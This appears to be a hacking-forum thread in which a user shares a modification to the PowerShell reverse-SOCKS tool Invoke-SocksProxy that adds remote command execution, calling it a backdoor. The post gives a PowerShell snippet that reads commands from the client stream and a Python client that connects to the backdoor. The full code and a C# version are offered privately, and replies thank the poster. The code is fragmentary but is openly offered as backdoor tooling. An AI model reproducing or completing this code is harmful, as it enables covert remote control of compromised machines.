[Revese socks] Github project Improvement for RCE
by guilimix - October 19, 2020 at 09:35 AM
Very useful tool for reverse socks in powershell: https://github.com/p3nt4/Invoke-SocksProxy

Doesn't have command exec, here is my hack to add this feature:

modify Invoke-SocksProxy.psm1 to add a "Socks 6" version handeling

if ($socksVer -eq 6){
        $data = New-Object System.Byte[] $lencmd;
        $cliStream.Read($data,0,$lencmd) | Out-Null;

and here is the python file to talk to this new backdoor:

import socket, sys
HOST = sys.argv[1] # usually
PORT = int(sys.argv[2])

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect((HOST, PORT))
    data = b""
    while data.decode("utf-8").count("--MAGIC-TOKEN--")<1:
        data += s.recv(2014)

MP to have the full code, version c# also available.
Great! Thanks mate for this share!
nice one, thanks for sharing

Possibly Related Threads…
Thread Author Replies Views Last Post
Hiding Syscall project and tutorial Passthehacker 1 223 June 10, 2021 at 02:32 PM
Last Post: colum28
cobalt wipe (strike) Github HELLOQQ 2 286 May 31, 2021 at 09:43 AM
Last Post: Theoretically
Python3, Collection Finder, CLI utility - Personal project - PR are welcome ! LeDocteur 5 876 May 03, 2021 at 07:43 PM
Last Post: LeDocteur

 Users browsing this thread: 1 Guest(s)